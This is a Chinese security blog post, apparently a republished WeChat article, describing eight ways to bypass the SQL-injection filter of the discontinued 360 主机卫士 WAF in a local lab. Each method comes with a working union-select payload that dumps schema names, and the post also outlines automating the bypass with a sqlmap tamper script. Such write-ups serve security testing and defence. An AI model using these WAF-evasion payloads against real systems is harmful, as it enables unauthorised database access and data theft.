Bypass 360主机卫士SQL注入防御(多姿势)

Stella981
• 阅读 860

0x00 前言

在服务器客户端领域,曾经出现过一款360主机卫士,目前已停止更新和维护,官网都打不开了,但服务器中依然经常可以看到它的身影。从半年前的测试虚拟机里面,翻出了360主机卫士Apache版的安装包,就当做是一个纪念版吧。这边主要分享一下几种思路,Bypass 360主机卫士SQL注入防御。

Bypass 360主机卫士SQL注入防御(多姿势)

0x01 环境搭建

360主机卫士官网:http://zhuji.360.cn软件版本:360主机卫士Apache 纪念版测试环境:phpStudy

本地构造SQL注入点:

id=_REQUEST['id'];query = "SELECT * FROM admin WHERE id = id ";

0x02 WAF测试

因zhuji.360.cn站点已关闭,拦截界面为空白,抓包先放一张拦截图:

Bypass 360主机卫士SQL注入防御(多姿势)

姿势一:网站后台白名单

在360主机卫士客户端设置中存在默认网站后台白名单,如图:Bypass 360主机卫士SQL注入防御(多姿势)

利用PHP中的PATH_INFO问题,随便挑选一个白名单加在后面,可成功bypass。

/test.php/admin?id=1 union select 1,2,schema_name from information_schema.SCHEMATA

Bypass 360主机卫士SQL注入防御(多姿势)

姿势二:静态资源

当文件后缀名为js、jpg、png等静态资源后缀请求,类似白名单机制,waf为了检测效率,直接略过这样一些静态资源文件名后缀的请求。

/test.php/1.png?id=1 union select 1,2,schema_name from information_schema.SCHEMATA

Bypass 360主机卫士SQL注入防御(多姿势)

姿势三:缓冲区溢出

当Post大包时,WAF在处理测试向量时超出了其缓冲区长度,超过检测内容长度将会直接Bypass,如果正常用户上传一些比较大的文件,WAF每个都检测的话,性能就会被耗光。

基于这些考虑,POST 大包溢出的思路可成功Bypass。

/test.phpPOST:id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) union select 1,2,schema_name from information_schema.SCHEMATA

Bypass 360主机卫士SQL注入防御(多姿势)

姿势四:uri参数溢出

这种溢出的形式,我称它为uri参数溢出。比如某WAF,默认情况下只能获取前100个参数进行检测,当提交第101个参数时,那么,将无法对攻击者提交的第100个以后的参数进行有效安全检测,从而绕过安全防御。

经测试,当提交的参数个数超过97个,可进行union select 查询,再增加对关键字from的绕过,可成功Bypass。

http://192.168.204.128/test.phpPOST:id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1  union select 1,2,schema_name %0a/!from/information_schema.SCHEMATA

Bypass 360主机卫士SQL注入防御(多姿势)

姿势五:GET+POST一个历史久远的逻辑问题了,当同时提交GET、POST请求时,进入POST逻辑,而忽略了GET请求的有害参数输入,可轻易Bypass。

/test.php?id=1 union select 1,2,schema_name from information_schema.SCHEMATAPOST:aaa

Bypass 360主机卫士SQL注入防御(多姿势)

姿势六:multipart/form-data格式

将Post、Get数据包转为上传multipart/form-data格式数据包,利用协议解析的差异,从而绕过SQL防御。

------WebKitFormBoundaryACZoaLJJzUwc4hYMContent-Disposition: form-data; name="id"1 union /* !select*/ 1,2,schema_name【这里使用Enter换行】from information_schema.SCHEMATA------WebKitFormBoundaryACZoaLJJzUwc4hYM--

如果转换数据包进行绕过呢?

首先,新建一个html页面:

<html><head></head><body><form action="http://192.168.204.128/test.php" method="post" enctype="multipart/form-data"><input type="text" name="id"><input type="submit"></form></body></html>

然后,在浏览器打开并在输入框中输入参数,抓包发送到Repeater,进一步构造Payload获取数据。

Bypass 360主机卫士SQL注入防御(多姿势)

姿势七:编码绕过

客户端对Payload进行编码,服务端能够自动进行解码,这时候就考验WAF的编码解码能力了,如果WAF不能进行有效解码还原攻击向量,可能导致绕过,常见编码如URL编码、unicode编码(IIS)、宽字节编码等。这个地方虽然URL编码也能绕过获取数据,主要是因为WAF对POST的防御规则太过于松散,union select 随便绕,select from 用%0a就可以解决,主要分享一下编码绕过的思路。

/test.php?id=1POST:id=1 %55nion %53elect/* !1,2,schema_name %0aFROM information_schema.SCHEMATA* /

Bypass 360主机卫士SQL注入防御(多姿势)

姿势八:%0a+内联注释

利用Mysql数据库的一些特性,绕过WAF的防御规则,最终在数据库中成功执行了SQL,获取数据。

http://192.168.204.128/test.php POST:id=1 union%0a/* !12345select* / 1,2,schema_name%0a/* !12345from */information_schema.SCHEMATA

Bypass 360主机卫士SQL注入防御(多姿势)

0x03 自动化Bypass

当测试出绕过WAF SQL注入防御的技巧后,可通过编写tamper脚本实现自动化注入,以姿势八:%0a+内联注释为例,主要是针对union select from等关键字替换,Payload中的部分关键字可能会被waf拦截,需要一步步调试,测试,总结规律。

tamper脚本:

Bypass 360主机卫士SQL注入防御(多姿势)

加载tamper脚本,可成功获取数据

Bypass 360主机卫士SQL注入防御(多姿势)

这边也分享一下,另一个比较简单的自动化注入的方法,就是使用超级SQL注入工具,利用这边提供的注入绕过模块,结合日志中心的测试记录,可以很方便的进行调试,然后保存绕过模板,方便下次调用。

Bypass 360主机卫士SQL注入防御(多姿势)

利用前面的关键字符进行替换,自动化注入获取数据库数据:

Bypass 360主机卫士SQL注入防御(多姿势)

0x04 END

分享了几种有意思的绕过思路,主要利用了WAF层的逻辑问题,数据库层的一些特性,服务器层编码解析、参数获取的差异。其中借鉴和学习了不少前辈们的思路,受益匪浅,学习,沉淀,总结,分享,周而复始。

关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。

喜欢这篇文章的人也喜欢 · · · · · ·

▶ 【WAF绕过】Bypass D盾_防火墙(新版)SQL注入防御

▶ 【代码审计】SQL二次编码注入漏洞实例(附tamper脚本)

【代码审计】MIPCMS 远程写入配置文件Getshell

▶ 【代码审计】CLTPHP_v5.5.3前台XML外部实体注入漏洞

Bypass 360主机卫士SQL注入防御(多姿势)

Bypass

Bypass 360主机卫士SQL注入防御(多姿势)

About Me

一个网络安全爱好者,对技术有着偏执狂一样的追求。致力于分享原创高质量干货,包括但不限于:渗透测试、WAF绕过、代码审计、安全运维。

本文分享自微信公众号 - Bypass(Bypass--)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

点赞
收藏
评论区
推荐文章
blmius blmius
3年前
MySQL:[Err] 1292 - Incorrect datetime value: ‘0000-00-00 00:00:00‘ for column ‘CREATE_TIME‘ at row 1
文章目录问题用navicat导入数据时,报错:原因这是因为当前的MySQL不支持datetime为0的情况。解决修改sql\mode:sql\mode:SQLMode定义了MySQL应支持的SQL语法、数据校验等,这样可以更容易地在不同的环境中使用MySQL。全局s
皕杰报表之UUID
​在我们用皕杰报表工具设计填报报表时,如何在新增行里自动增加id呢?能新增整数排序id吗?目前可以在新增行里自动增加id,但只能用uuid函数增加UUID编码,不能新增整数排序id。uuid函数说明:获取一个UUID,可以在填报表中用来创建数据ID语法:uuid()或uuid(sep)参数说明:sep布尔值,生成的uuid中是否包含分隔符'',缺省为
待兔 待兔
5个月前
手写Java HashMap源码
HashMap的使用教程HashMap的使用教程HashMap的使用教程HashMap的使用教程HashMap的使用教程22
Jacquelyn38 Jacquelyn38
3年前
2020年前端实用代码段,为你的工作保驾护航
有空的时候,自己总结了几个代码段,在开发中也经常使用,谢谢。1、使用解构获取json数据let jsonData  id: 1,status: "OK",data: 'a', 'b';let  id, status, data: number   jsonData;console.log(id, status, number )
Easter79 Easter79
3年前
sql注入
反引号是个比较特别的字符,下面记录下怎么利用0x00SQL注入反引号可利用在分隔符及注释作用,不过使用范围只于表名、数据库名、字段名、起别名这些场景,下面具体说下1)表名payload:select\from\users\whereuser\_id1limit0,1;!(https://o
Stella981 Stella981
3年前
Python3:sqlalchemy对mysql数据库操作,非sql语句
Python3:sqlalchemy对mysql数据库操作,非sql语句python3authorlizmdatetime2018020110:00:00coding:utf8'''
Stella981 Stella981
3年前
Bypass ngx_lua_waf SQL注入防御(多姿势)
0x00前言ngx\_lua\_waf是一款基于ngx\_lua的web应用防火墙,使用简单,高性能、轻量级。默认防御规则在wafconf目录中,摘录几条核心的SQL注入防御规则:select.(from|limit)(?:(union(.?)select))(?:from\Winformation_schema\W)这边
Stella981 Stella981
3年前
Django中Admin中的一些参数配置
设置在列表中显示的字段,id为django模型默认的主键list_display('id','name','sex','profession','email','qq','phone','status','create_time')设置在列表可编辑字段list_editable
Wesley13 Wesley13
3年前
MySQL部分从库上面因为大量的临时表tmp_table造成慢查询
背景描述Time:20190124T00:08:14.70572408:00User@Host:@Id:Schema:sentrymetaLast_errno:0Killed:0Query_time:0.315758Lock_
Python进阶者 Python进阶者
11个月前
Excel中这日期老是出来00:00:00,怎么用Pandas把这个去除
大家好,我是皮皮。一、前言前几天在Python白银交流群【上海新年人】问了一个Pandas数据筛选的问题。问题如下:这日期老是出来00:00:00,怎么把这个去除。二、实现过程后来【论草莓如何成为冻干莓】给了一个思路和代码如下:pd.toexcel之前把这